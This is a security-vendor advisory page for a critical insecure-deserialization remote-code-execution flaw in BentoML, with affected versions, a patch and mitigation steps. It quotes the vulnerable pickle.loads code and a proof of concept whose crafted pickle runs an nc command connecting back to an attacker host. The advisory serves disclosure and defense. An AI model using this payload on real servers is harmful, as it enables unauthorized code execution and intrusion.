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GHSA-33xw-247w-6hmc

CRITICAL

GHSA-33xw-247w-6hmc is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in bentoml. O3 Security confirms whether GHSA-33xw-247w-6hmc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

Also known asCVE-2025-27520PYSEC-2026-294
Published
Apr 4, 2025
Updated
Jun 29, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍bentoml

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Details

It exists an unsafe code segment in serde.py:

def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

PoC

Environment:

  • Server host:
    • IP: 10.98.36.123
    • OS: Ubuntu
  • Attack host:
    • IP: 10.98.36.121
    • OS: Ubuntu
  1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml

1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :

from __future__ import annotations

import bentoml

@bentoml.service(
    resources={"cpu": "4"}
)
class Summarization:
    def __init__(self) -> None:
        import torch
        from transformers import pipeline

        device = "cuda" if torch.cuda.is_available() else "cpu"
        self.pipeline = pipeline('summarization', device=device)

    @bentoml.api(batchable=True)
    def summarize(self, texts: list[str]) -> list[str]:
        results = self.pipeline(texts)
        return [item['summary_text'] for item in results]

1.3 Run the service code (Server host: 10.98.36.123) :

pip install torch transformers  # additional dependencies for local run

bentoml serve
  1. Start nc listening on the attacking host (Attack host: 10.98.36.121) : nc -lvvp 1234

  2. Send maliciously crafted request (Attack host: 10.98.36.121) :

import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
  1. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. nc

Impact

Remote Code Execution (RCE).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIbentoml1.3.4&&< 1.4.31.4.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update bentoml to 1.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-33xw-247w-6hmc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-33xw-247w-6hmc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-33xw-247w-6hmc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. ### Details It exists an unsafe code segment in `serde.py`: ```Python def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) ``` Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by
O3 Security · Impact-Aware SCA

Is GHSA-33xw-247w-6hmc in your dependencies?

O3 detects GHSA-33xw-247w-6hmc across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.